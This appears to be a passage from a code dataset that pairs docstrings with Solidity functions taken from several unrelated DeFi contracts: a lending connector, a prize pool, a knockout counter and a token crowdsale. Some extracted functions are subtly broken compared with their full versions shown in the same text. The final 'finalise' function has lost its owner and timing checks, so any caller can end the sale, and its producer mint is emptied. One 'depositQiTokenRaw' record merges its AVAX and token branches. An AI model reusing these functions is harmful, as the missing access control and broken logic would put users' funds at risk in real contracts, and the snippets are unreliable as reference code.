_weiPaid) internal view returns(uint tokenToGet) { uint tokenPrice; uint superWeiLeft = (_weiPaid).mul(DECIMAL1E18); uint tempTokens; uint superWeiSpent; uint tokenSupply = tk.totalSupply(); uint vtp; uint mcrFullperc; uint vFull; uint mcrtp; (mcrFullperc, , vFull, ) = pd.getLastMCR(); (vtp, ) = m1.calculateVtpAndMCRtp((_poolBalance).sub(_weiPaid)); require(m1.calculateTokenPrice("BNB") > 0, "Token price can not be zero"); while (superWeiLeft > 0) { mcrtp = (mcrFullperc.mul(vtp)).div(vFull); tokenPrice = m1.calculateStepTokenPrice("BNB", mcrtp); tempTokens = superWeiLeft.div(tokenPrice); if (tempTokens <= td.priceStep().mul(DECIMAL1E18)) { tokenToGet = tokenToGet.add(tempTokens); break; } else { tokenToGet = tokenToGet.add(td.priceStep().mul(DECIMAL1E18)); tokenSupply = tokenSupply.add(td.priceStep().mul(DECIMAL1E18)); superWeiSpent = td.priceStep().mul(DECIMAL1E18).mul(tokenPrice); superWeiLeft = superWeiLeft.sub(superWeiSpent); vtp = vtp.add((td.priceStep().mul(DECIMAL1E18).mul(tokenPrice)).div(DECIMAL1E18)); } } } /** * @dev Save the details of the Oraclize API. * @param myid Id return by the oraclize query. * @param _typeof type of the query for which oraclize call is made. * @param id ID of the proposal, quote, cover etc. for which oraclize call is made. */ function _saveApiDetails(bytes32 myid, bytes4 _typeof, uint id) internal { pd.saveApiDetails(myid, _typeof, id); pd.addInAllApiCall(myid); } /** * @dev transfers currency asset * @param _curr is currency of asset to transfer * @param _amount is the amount to be transferred * @return boolean representing the success of transfer */ function _transferCurrencyAsset(bytes4 _curr, uint _amount) internal returns(bool succ) { if (_curr == "BNB") { if (address(this).balance < _amount) _amount = address(this).balance; p2.sendEther.value(_amount)(); succ = true; } else { IERC20 erc20 = IERC20(pd.getCurrencyAssetAddress(_curr)); //solhint-disable-line if (erc20.balanceOf(address(this)) < _amount) _amount = erc20.balanceOf(address(this)); require(erc20.transfer(address(p2), _amount)); succ = true; } } /** * @dev Transfers ERC20 Currency asset from this Pool to another Pool on upgrade. */ function _upgradeCapitalPool( bytes4 _curr, address _newPoolAddress ) internal { IERC20 erc20 = IERC20(pd.getCurrencyAssetAddress(_curr)); if (erc20.balanceOf(address(this)) > 0) require(erc20.transfer(_newPoolAddress, erc20.balanceOf(address(this)))); } // step for ApiId uint256 public reqc; /** * @dev oraclize query * @return id of oraclize query */ function _oraclizeQuery() internal returns (bytes32 id) { id = keccak256(abi.encodePacked(this, msg.sender, reqc)); reqc++; } }
Transfers ERC20 Currency asset from this Pool to another Pool on upgrade./
function _upgradeCapitalPool( bytes4 _curr, address _newPoolAddress ) internal { IERC20 erc20 = IERC20(pd.getCurrencyAssetAddress(_curr)); if (erc20.balanceOf(address(this)) > 0) require(erc20.transfer(_newPoolAddress, erc20.balanceOf(address(this)))); }
6,484,420
./full_match/1/0x5A01592A2a4acfE2949f766EF67F4f7d04bE4ac0/sources/contracts/core/prize-pool/PrizePool.sol
@inheritdoc IPrizePool
function setDrawBeacon(IDrawBeacon _drawBeacon) external onlyOwner { require( address(_drawBeacon) != address(0), "PrizePool/draw-beacon-not-zero-address" ); drawBeacon = _drawBeacon; emit DrawBeaconSet(_drawBeacon); }
9,746,612
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @title Benqi. * @dev Lending & Borrowing. */ import { TokenInterface } from "../../../common/interfaces.sol"; import { Stores } from "../../../common/stores.sol"; import { Helpers } from "./helpers.sol"; import { Events } from "./events.sol"; import { QiAVAXInterface, QiTokenInterface } from "./interface.sol"; abstract contract BenqiResolver is Events, Helpers { /** * @dev Deposit AVAX/ARC20_Token. * @notice Deposit a token to Benqi for lending / collaterization. * @param token The address of the token to deposit. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens deposited. */ function depositRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); enterMarket(qiToken); if (token == avaxAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; QiAVAXInterface(qiToken).mint{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; approve(tokenContract, qiToken, _amt); require(QiTokenInterface(qiToken).mint(_amt) == 0, "deposit-failed"); } setUint(setId, _amt); _eventName = "LogDeposit(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, getId, setId); } /** * @dev Deposit AVAX/ARC20_Token using the Mapping. * @notice Deposit a token to Benqi for lending / collaterization. * @param tokenId The token id of the token to deposit.(For eg: AVAX-A) * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens deposited. */ function deposit( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = depositRaw(token, qiToken, amt, getId, setId); } /** * @dev Withdraw AVAX/ARC20_Token. * @notice Withdraw deposited token from Benqi * @param token The address of the token to withdraw. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param amt The amount of the token to withdraw. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens withdrawn. */ function withdrawRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); QiTokenInterface qiTokenContract = QiTokenInterface(qiToken); if (_amt == uint(-1)) { TokenInterface tokenContract = TokenInterface(token); uint initialBal = token == avaxAddr ? address(this).balance : tokenContract.balanceOf(address(this)); require(qiTokenContract.redeem(qiTokenContract.balanceOf(address(this))) == 0, "full-withdraw-failed"); uint finalBal = token == avaxAddr ? address(this).balance : tokenContract.balanceOf(address(this)); _amt = finalBal - initialBal; } else { require(qiTokenContract.redeemUnderlying(_amt) == 0, "withdraw-failed"); } setUint(setId, _amt); _eventName = "LogWithdraw(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, getId, setId); } /** * @dev Withdraw AVAX/ARC20_Token using the Mapping. * @notice Withdraw deposited token from Benqi * @param tokenId The token id of the token to withdraw.(For eg: AVAX-A) * @param amt The amount of the token to withdraw. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens withdrawn. */ function withdraw( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = withdrawRaw(token, qiToken, amt, getId, setId); } /** * @dev Borrow AVAX/ARC20_Token. * @notice Borrow a token using Benqi * @param token The address of the token to borrow. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param amt The amount of the token to borrow. * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens borrowed. */ function borrowRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); enterMarket(qiToken); require(QiTokenInterface(qiToken).borrow(_amt) == 0, "borrow-failed"); setUint(setId, _amt); _eventName = "LogBorrow(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, getId, setId); } /** * @dev Borrow AVAX/ARC20_Token using the Mapping. * @notice Borrow a token using Benqi * @param tokenId The token id of the token to borrow.(For eg: DAI-A) * @param amt The amount of the token to borrow. * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens borrowed. */ function borrow( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = borrowRaw(token, qiToken, amt, getId, setId); } /** * @dev Payback borrowed AVAX/ARC20_Token. * @notice Payback debt owed. * @param token The address of the token to payback. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param amt The amount of the token to payback. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens paid back. */ function paybackRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); QiTokenInterface qiTokenContract = QiTokenInterface(qiToken); _amt = _amt == uint(-1) ? qiTokenContract.borrowBalanceCurrent(address(this)) : _amt; if (token == avaxAddr) { require(address(this).balance >= _amt, "not-enough-avax"); QiAVAXInterface(qiToken).repayBorrow{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); require(tokenContract.balanceOf(address(this)) >= _amt, "not-enough-token"); approve(tokenContract, qiToken, _amt); require(qiTokenContract.repayBorrow(_amt) == 0, "repay-failed."); } setUint(setId, _amt); _eventName = "LogPayback(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, getId, setId); } /** * @dev Payback borrowed AVAX/ARC20_Token using the Mapping. * @notice Payback debt owed. * @param tokenId The token id of the token to payback.(For eg: BENQI-A) * @param amt The amount of the token to payback. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens paid back. */ function payback( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = paybackRaw(token, qiToken, amt, getId, setId); } /** * @dev Deposit AVAX/ARC20_Token. * @notice Same as depositRaw. The only difference is this method stores qiToken amount in set ID. * @param token The address of the token to deposit. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of qiTokens received. */ function depositQiTokenRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); enterMarket(qiToken); QiTokenInterface qitokenContract = QiTokenInterface(qiToken); uint initialBal = qitokenContract.balanceOf(address(this)); if (token == avaxAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; QiAVAXInterface(qiToken).mint{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; approve(tokenContract, qiToken, _amt); require(qitokenContract.mint(_amt) == 0, "deposit-qitoken-failed."); } uint _cAmt; { uint finalBal = qitokenContract.balanceOf(address(this)); _cAmt = sub(finalBal, initialBal); setUint(setId, _cAmt); } _eventName = "LogDepositQiToken(address,address,uint256,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, _cAmt, getId, setId); } /** * @dev Deposit AVAX/ARC20_Token using the Mapping. * @notice Same as deposit. The only difference is this method stores qiToken amount in set ID. * @param tokenId The token id of the token to depositQiToken.(For eg: DAI-A) * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of qiTokens received. */ function depositQiToken( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = depositQiTokenRaw(token, qiToken, amt, getId, setId); } /** * @dev Withdraw QiAVAX/QiARC20_Token using qiToken Amt. * @notice Same as withdrawRaw. The only difference is this method fetch qiToken amount in get ID. * @param token The address of the token to withdraw. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiToken The address of the corresponding qiToken. * @param qiTokenAmt The amount of qiTokens to withdraw * @param getId ID to retrieve qiTokenAmt * @param setId ID stores the amount of tokens withdrawn. */ function withdrawQiTokenRaw( address token, address qiToken, uint qiTokenAmt, uint getId, uint setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _cAmt = getUint(getId, qiTokenAmt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); QiTokenInterface qiTokenContract = QiTokenInterface(qiToken); TokenInterface tokenContract = TokenInterface(token); _cAmt = _cAmt == uint(-1) ? qiTokenContract.balanceOf(address(this)) : _cAmt; uint withdrawAmt; { uint initialBal = token != avaxAddr ? tokenContract.balanceOf(address(this)) : address(this).balance; require(qiTokenContract.redeem(_cAmt) == 0, "redeem-failed"); uint finalBal = token != avaxAddr ? tokenContract.balanceOf(address(this)) : address(this).balance; withdrawAmt = sub(finalBal, initialBal); } setUint(setId, withdrawAmt); _eventName = "LogWithdrawQiToken(address,address,uint256,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, withdrawAmt, _cAmt, getId, setId); } /** * @dev Withdraw QiAVAX/QiARC20_Token using qiToken Amt & the Mapping. * @notice Same as withdraw. The only difference is this method fetch qiToken amount in get ID. * @param tokenId The token id of the token to withdraw QiToken.(For eg: AVAX-A) * @param qiTokenAmt The amount of qiTokens to withdraw * @param getId ID to retrieve qiTokenAmt * @param setId ID stores the amount of tokens withdrawn. */ function withdrawQiToken( string calldata tokenId, uint qiTokenAmt, uint getId, uint setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address qiToken) = qiMapping.getMapping(tokenId); (_eventName, _eventParam) = withdrawQiTokenRaw(token, qiToken, qiTokenAmt, getId, setId); } /** * @dev Liquidate a position. * @notice Liquidate a position. * @param borrower Borrower's Address. * @param tokenToPay The address of the token to pay for liquidation.(For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param qiTokenPay Corresponding qiToken address. * @param tokenInReturn The address of the token to return for liquidation. * @param qiTokenColl Corresponding qiToken address. * @param amt The token amount to pay for liquidation. * @param getId ID to retrieve amt. * @param setId ID stores the amount of paid for liquidation. */ function liquidateRaw( address borrower, address tokenToPay, address qiTokenPay, address tokenInReturn, address qiTokenColl, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(tokenToPay != address(0) && qiTokenPay != address(0), "invalid token/qitoken address"); require(tokenInReturn != address(0) && qiTokenColl != address(0), "invalid token/qitoken address"); QiTokenInterface qiTokenContract = QiTokenInterface(qiTokenPay); { (,, uint shortfal) = troller.getAccountLiquidity(borrower); require(shortfal != 0, "account-cannot-be-liquidated"); _amt = _amt == uint(-1) ? qiTokenContract.borrowBalanceCurrent(borrower) : _amt; } if (tokenToPay == avaxAddr) { require(address(this).balance >= _amt, "not-enough-avax"); QiAVAXInterface(qiTokenPay).liquidateBorrow{value: _amt}(borrower, qiTokenColl); } else { TokenInterface tokenContract = TokenInterface(tokenToPay); require(tokenContract.balanceOf(address(this)) >= _amt, "not-enough-token"); approve(tokenContract, qiTokenPay, _amt); require(qiTokenContract.liquidateBorrow(borrower, _amt, qiTokenColl) == 0, "liquidate-failed"); } setUint(setId, _amt); _eventName = "LogLiquidate(address,address,address,uint256,uint256,uint256)"; _eventParam = abi.encode( address(this), tokenToPay, tokenInReturn, _amt, getId, setId ); } /** * @dev Liquidate a position using the mapping. * @notice Liquidate a position using the mapping. * @param borrower Borrower's Address. * @param tokenIdToPay token id of the token to pay for liquidation.(For eg: AVAX-A) * @param tokenIdInReturn token id of the token to return for liquidation.(For eg: USDC-A) * @param amt token amount to pay for liquidation. * @param getId ID to retrieve amt. * @param setId ID stores the amount of paid for liquidation. */ function liquidate( address borrower, string calldata tokenIdToPay, string calldata tokenIdInReturn, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address tokenToPay, address qiTokenToPay) = qiMapping.getMapping(tokenIdToPay); (address tokenInReturn, address qiTokenColl) = qiMapping.getMapping(tokenIdInReturn); (_eventName, _eventParam) = liquidateRaw( borrower, tokenToPay, qiTokenToPay, tokenInReturn, qiTokenColl, amt, getId, setId ); } } contract ConnectV2BenqiAvalanche is BenqiResolver { string public constant name = "Benqi-v1"; }
Deposit AVAX/ARC20_Token. Same as depositRaw. The only difference is this method stores qiToken amount in set ID. token The address of the token to deposit. (For AVAX: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) qiToken The address of the corresponding qiToken. amt The amount of the token to deposit. (For max: `uint256(-1)`) getId ID to retrieve amt. setId ID stores the amount of qiTokens received./
function depositQiTokenRaw( address token, address qiToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && qiToken != address(0), "invalid token/qitoken address"); enterMarket(qiToken); QiTokenInterface qitokenContract = QiTokenInterface(qiToken); uint initialBal = qitokenContract.balanceOf(address(this)); if (token == avaxAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; TokenInterface tokenContract = TokenInterface(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; approve(tokenContract, qiToken, _amt); require(qitokenContract.mint(_amt) == 0, "deposit-qitoken-failed."); } uint _cAmt; { uint finalBal = qitokenContract.balanceOf(address(this)); _cAmt = sub(finalBal, initialBal); setUint(setId, _cAmt); } _eventName = "LogDepositQiToken(address,address,uint256,uint256,uint256,uint256)"; _eventParam = abi.encode(token, qiToken, _amt, _cAmt, getId, setId); }
966,563
./full_match/7700/0x9B2a63F27661A468E2da22226b64A4914144f195/sources/contracts/mixins/KnockoutCounter.sol
Asserts that a given pivot tranche being claimed as knocked out, was in fact knocked out. Used when the user doesn't have or doesn't want to present a Merkle proof. Relies on two guarantees. 1) base Merkle time is always increasing, because pivots are created, and therefore knocked out, in monotonically increasing time order. 2) Tranches will never be created at the same time- stamp as the most recent Merkle commitment. Therefore a pivot tranche has been knocked out if and only if the most recent Merkle commitment has an equal of greater timestamp. /
function confirmPivotDead (bytes32 pool, KnockoutLiq.KnockoutPosLoc memory loc, uint32 pivotTime) private view { bytes32 lvlKey = KnockoutLiq.encodePivotKey(pool, loc.isBid_, loc.knockoutTick()); KnockoutLiq.KnockoutMerkle storage merkle = knockoutMerkles_[lvlKey]; require(merkle.pivotTime_ >= pivotTime, "KA"); }
4,651,207
./full_match/1/0xF7E137639e168e5681E9657E773487D90E20b438/sources/submodules/v2-foundry/src/AlchemistV2.sol
@inheritdoc IAlchemistV2State
function getYieldTokensPerShare(address yieldToken) external view override returns (uint256) { return convertSharesToYieldTokens(yieldToken, 10**_yieldTokens[yieldToken].decimals); }
8,342,740
pragma solidity ^0.6.12; // ---------------------------------------------------------------------------- // DreamFrames Crowdsale Contract - Purchase FrameRush Tokens with ETH // // Deployed to : {TBA} // // Enjoy. // // (c) BokkyPooBah / Bok Consulting Pty Ltd for GazeCoin 2018. The MIT Licence. // (c) Adrian Guerrera / Deepyr Pty Ltd for Dreamframes 2019. The MIT Licence. // ---------------------------------------------------------------------------- import "../Shared/Operated.sol"; import "../Shared/SafeMath.sol"; import "../../interfaces/BTTSTokenInterface120.sol"; import "../../interfaces/PriceFeedInterface.sol"; import "../../interfaces/WhiteListInterface.sol"; // ---------------------------------------------------------------------------- // DreamFramesToken Crowdsale Contract // ---------------------------------------------------------------------------- contract DreamFramesCrowdsale is Operated { using SafeMath for uint256; uint256 private constant TENPOW18 = 10 ** 18; BTTSTokenInterface public dreamFramesToken; PriceFeedInterface public ethUsdPriceFeed; WhiteListInterface public bonusList; address payable public wallet; uint256 public startDate; uint256 public endDate; uint256 public producerPct; uint256 public frameUsd; uint256 public framesSold; bool public finalised; uint256 public bonusOffList; uint256 public bonusOnList; uint256 public contributedUsd; uint256 public softCapUsd; uint256 public hardCapUsd; uint256 public lockedAccountThresholdUsd; mapping(address => uint256) public accountUsdAmount; event WalletUpdated(address indexed oldWallet, address indexed newWallet); event StartDateUpdated(uint256 oldStartDate, uint256 newStartDate); event EndDateUpdated(uint256 oldEndDate, uint256 newEndDate); event FrameUsdUpdated(uint256 oldFrameUsd, uint256 newFrameUsd); event BonusOffListUpdated(uint256 oldBonusOffList, uint256 newBonusOffList); event BonusOnListUpdated(uint256 oldBonusOnList, uint256 newBonusOnList); event BonusListUpdated(address oldBonusList, address newBonusList); event Purchased(address indexed addr, uint256 frames, uint256 ethToTransfer, uint256 framesSold, uint256 contributedUsd); constructor() public { } /// @notice function init(address _dreamFramesToken, address _ethUsdPriceFeed, address payable _wallet, uint256 _startDate, uint256 _endDate, uint256 _producerPct, uint256 _frameUsd, uint256 _bonusOffList,uint256 _bonusOnList, uint256 _hardCapUsd, uint256 _softCapUsd) public { require(_wallet != address(0)); require(_endDate > _startDate); require(_startDate >= now); require(_producerPct < 100); require(_dreamFramesToken != address(0)); require(_ethUsdPriceFeed != address(0) ); initOperated(msg.sender); dreamFramesToken = BTTSTokenInterface(_dreamFramesToken); ethUsdPriceFeed = PriceFeedInterface(_ethUsdPriceFeed); lockedAccountThresholdUsd = 10000; hardCapUsd = _hardCapUsd; softCapUsd = _softCapUsd; frameUsd = _frameUsd; wallet = _wallet; startDate = _startDate; endDate = _endDate; producerPct = _producerPct; bonusOffList = _bonusOffList; bonusOnList = _bonusOnList; } // ---------------------------------------------------------------------------- // Setter functions // ---------------------------------------------------------------------------- function setWallet(address payable _wallet) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(_wallet != address(0)); emit WalletUpdated(wallet, _wallet); wallet = _wallet; } function setStartDate(uint256 _startDate) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(_startDate >= now); // dev: Already started emit StartDateUpdated(startDate, _startDate); startDate = _startDate; } function setEndDate(uint256 _endDate) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(endDate >= now); // dev: Already ended require(_endDate > startDate); // dev: End before the start emit EndDateUpdated(endDate, _endDate); endDate = _endDate; } function setFrameUsd(uint256 _frameUsd) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(_frameUsd > 0); // dev: Frame eq 0 emit FrameUsdUpdated(frameUsd, _frameUsd); frameUsd = _frameUsd; } function setBonusOffList(uint256 _bonusOffList) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(_bonusOffList < 100); // dev: Bonus over 100 emit BonusOffListUpdated(bonusOffList, _bonusOffList); bonusOffList = _bonusOffList; } function setBonusOnList(uint256 _bonusOnList) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised require(_bonusOnList < 100); // dev: Bonus over 100 emit BonusOnListUpdated(bonusOnList, _bonusOnList); bonusOnList = _bonusOnList; } function setBonusList(address _bonusList) public { require(msg.sender == owner); // dev: Not owner require(!finalised); // dev: Finalised emit BonusListUpdated(address(bonusList), _bonusList); bonusList = WhiteListInterface(_bonusList); } // ---------------------------------------------------------------------------- // Getter functions // ---------------------------------------------------------------------------- function symbol() public view returns (string memory _symbol) { _symbol = dreamFramesToken.symbol(); } function name() public view returns (string memory _name) { _name = dreamFramesToken.name(); } function usdRemaining() public view returns (uint256) { return hardCapUsd.sub(contributedUsd); } function pctSold() public view returns (uint256) { return contributedUsd.mul(100).div(hardCapUsd); } function pctRemaining() public view returns (uint256) { return hardCapUsd.sub(contributedUsd).mul(100).div(hardCapUsd); } function getBonus(address _address) public view returns (uint256) { if (bonusList.isInWhiteList(_address) && bonusOnList > bonusOffList ) { return bonusOnList; } return bonusOffList; } /// @notice USD per frame, with bonus /// @dev e.g., 128.123412344122 * 10^18 function frameUsdWithBonus(address _address) public view returns (uint256 _rate) { uint256 bonus = getBonus(_address); _rate = frameUsd.mul(100).div(bonus.add(100)); } /// @notice USD per Eth from price feed /// @dev e.g., 171.123232454415 * 10^18 function ethUsd() public view returns (uint256 _rate, bool _live) { return ethUsdPriceFeed.getRate(); } /// @dev ETH per frame, e.g., 2.757061128879679264 * 10^18 function frameEth() public view returns (uint256 _rate, bool _live) { uint256 _ethUsd; (_ethUsd, _live) = ethUsd(); if (_live) { _rate = frameUsd.mul(TENPOW18).div(_ethUsd); } } /// @dev ETH per frame, e.g., 2.757061128879679264 * 10^18 - including any bonuses function frameEthBonus(address _address) public view returns (uint256 _rate, bool _live) { uint256 _ethUsd; (_ethUsd, _live) = ethUsd(); if (_live) { _rate = frameUsdWithBonus(_address).mul(TENPOW18).div(_ethUsd); } } function calculateFrames(uint256 _ethAmount) public view returns (uint256 frames, uint256 ethToTransfer) { return calculateEthFrames(_ethAmount, msg.sender); } function calculateUsdFrames(uint256 _usdAmount, address _tokenOwner) public view returns (uint256 frames, uint256 usdToTransfer) { usdToTransfer = _usdAmount; if (contributedUsd.add(usdToTransfer) > hardCapUsd) { usdToTransfer = hardCapUsd.sub(contributedUsd); } // Get number of frames available to be purchased frames = usdToTransfer.div(frameUsdWithBonus(_tokenOwner)); } /// @notice Get frameEth rate including any bonuses function calculateEthFrames(uint256 _ethAmount, address _tokenOwner) public view returns (uint256 frames, uint256 ethToTransfer) { uint256 _frameEth; uint256 _ethUsd; bool _live; (_ethUsd, _live) = ethUsd(); require(_live); // dev: Pricefeed not live (_frameEth, _live) = frameEthBonus(_tokenOwner); require(_live); // dev: Pricefeed not live // USD able to be spent on available frames uint256 usdAmount = _ethAmount.mul(_ethUsd).div(TENPOW18); (frames, usdAmount) = calculateUsdFrames(usdAmount,_tokenOwner); // Return ETH required for available frames ethToTransfer = frames.mul(_frameEth); } // ---------------------------------------------------------------------------- // Crowd sale payments // ---------------------------------------------------------------------------- /// @notice Buy FrameTokens by sending ETH to this contract address receive() external payable { buyFramesEth(); } /// @notice Or calling this function and sending ETH function buyFramesEth() public payable { // Get number of frames remaining uint256 ethToTransfer; uint256 frames; (frames, ethToTransfer) = calculateEthFrames( msg.value, msg.sender); // Accept ETH Payments uint256 ethToRefund = msg.value.sub(ethToTransfer); if (ethToTransfer > 0) { wallet.transfer(ethToTransfer); } // Return any ETH to be refundedf if (ethToRefund > 0) { msg.sender.transfer(ethToRefund); } // Claim FrameTokens claimFrames(msg.sender,frames); emit Purchased(msg.sender, frames, ethToTransfer, framesSold, contributedUsd); } /// @notice Operator allocates frames to tokenOwner for offchain purchases function offlineFramesPurchase(address _tokenOwner, uint256 _frames) external { // Only operator and owner can allocate frames offline require(operators[msg.sender] || owner == msg.sender); // dev: Not operator claimFrames(_tokenOwner,_frames); emit Purchased(_tokenOwner, _frames, 0, framesSold, contributedUsd); } /// @notice Contract allocates frames to tokenOwner function claimFrames(address _tokenOwner, uint256 _frames) internal { require(!finalised, "Sale Finalised"); require(_frames > 0, "No frames available"); require(now >= startDate && now <= endDate, "Sale ended"); // Update crowdsale state uint256 usdToTransfer = _frames.mul(frameUsdWithBonus(_tokenOwner)); require(contributedUsd.add(usdToTransfer) <= hardCapUsd, "Exceeds Hardcap"); contributedUsd = contributedUsd.add(usdToTransfer); // Tokens locked and KYC check required if over AccountThresholdUsd accountUsdAmount[_tokenOwner] = accountUsdAmount[_tokenOwner].add(usdToTransfer); bool lockAccount = accountUsdAmount[_tokenOwner] > lockedAccountThresholdUsd; // Mint FrameTokens require(dreamFramesToken.mint(_tokenOwner, _frames.mul(TENPOW18), lockAccount)); // dev: Not Mintable framesSold = framesSold.add(_frames); if (contributedUsd >= hardCapUsd) { finalised = true; } } /// @notice Contract owner finalises crowdsale function finalise(address _producer) public { require(msg.sender == owner); // dev: Not owner require(!finalised || dreamFramesToken.mintable()); // dev: Already Finalised require(now > endDate || contributedUsd >= hardCapUsd); // dev: Not Finished finalised = true; uint256 totalFrames = framesSold.mul(100).div(uint256(100).sub(producerPct)); uint256 producerFrames = totalFrames.sub(framesSold); if (producerFrames > 0 && contributedUsd >= softCapUsd ) { require(dreamFramesToken.mint(_producer, producerFrames.mul(TENPOW18), false)); // dev: Failed final mint } dreamFramesToken.disableMinting(); } }
Contract owner finalises crowdsale
function finalise(address _producer) public { finalised = true; uint256 totalFrames = framesSold.mul(100).div(uint256(100).sub(producerPct)); uint256 producerFrames = totalFrames.sub(framesSold); if (producerFrames > 0 && contributedUsd >= softCapUsd ) { } dreamFramesToken.disableMinting(); }
7,285,674
./full_match/1/0x9C070027cdC9dc8F82416B2e5314E11DFb4FE3CD/sources/contracts/bridge/Bridge.sol
Returns the fraud challenge identified by the given key built as keccak256(walletPublicKey|sighash).
function fraudChallenges(uint256 challengeKey) external view returns (Fraud.FraudChallenge memory) { return self.fraudChallenges[challengeKey]; }
4,856,503